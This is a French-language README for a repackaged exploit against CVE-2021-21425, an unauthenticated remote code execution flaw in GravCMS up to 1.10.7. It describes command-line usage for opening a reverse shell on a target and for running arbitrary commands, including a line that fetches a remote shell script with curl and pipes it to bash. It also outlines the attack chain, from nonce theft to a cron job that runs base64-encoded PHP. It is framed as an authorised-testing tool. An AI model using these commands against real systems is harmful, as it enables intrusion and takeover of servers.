
CVE-2021-21425 - GravCMS 1.10.7 RCE non authentifié via le Scheduler. Exploit amélioré avec arguments CLI et encodage base64 automatique.
Preuve de concept améliorée pour CVE-2021-21425, une vulnérabilité d'exécution de code à distance non authentifiée dans GravCMS <= 1.10.7 via l'écriture arbitraire de YAML dans le planificateur.
Ceci est un travail dérivé. La vulnérabilité et l'exploit original ne sont pas les miens.
| Rôle | Qui |
|---|---|
| Vulnérabilité découverte par | Mehmet Ince (@mdisec), PRODAFT / INVICTUS Europe — Mars 2021 |
| PoC original par | "legend" — Exploit-DB EDB-49973 |
| Modifications dans ce dépôt par | d4ytox |
L'EDB-49973 original nécessite de modifier manuellement des valeurs codées en dur dans le script. Cette version ajoute :
-c)Ce sont des changements d'ergonomie apportés à un exploit existant. Aucune recherche sur la vulnérabilité n'est revendiquée.
| Champ | Valeur |
|---|---|
| CVE | CVE-2021-21425 |
| EDB-ID | 49973 |
| Affecté | GravCMS <= 1.10.7 |
| Type | RCE non authentifiée |
| CVSS | 9.8 (Critique) |
Le plugin Grav Admin ne vérifie pas l'authentification sur certaines routes d'administration, ce qui permet à des utilisateurs non authentifiés d'écrire une configuration YAML arbitraire. Cet exploit abuse de la configuration du planificateur pour créer une tâche cron qui exécute du code PHP arbitraire.
# Reverse shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>
# Commande personnalisée
python3 exploit.py -t http://target -c "id"
# Obtenir un reverse shell sur la cible
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444
# Exécuter une commande
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"
pip install requests
/admin pour extraire le jeton admin-nonce (aucune authentification requise en raison de la vulnérabilité)/admin/config/scheduler avec une configuration de tâche cron malveillante/usr/bin/php -r eval(base64_decode(...))/tmp/rev.sh et l'exécuteLa tâche cron s'exécute chaque minute (* * * * *), donc le shell arrive en moins de 60 secondes.
MIT, s'appliquant uniquement aux modifications de ce dépôt. Le PoC amont ne porte aucune licence, il reste donc tous droits réservés par son auteur. Voir LICENSE pour l'avis d'attribution complet.
Pour les tests de sécurité autorisés uniquement. Assurez-vous d'avoir une autorisation écrite avant de tester contre tout système.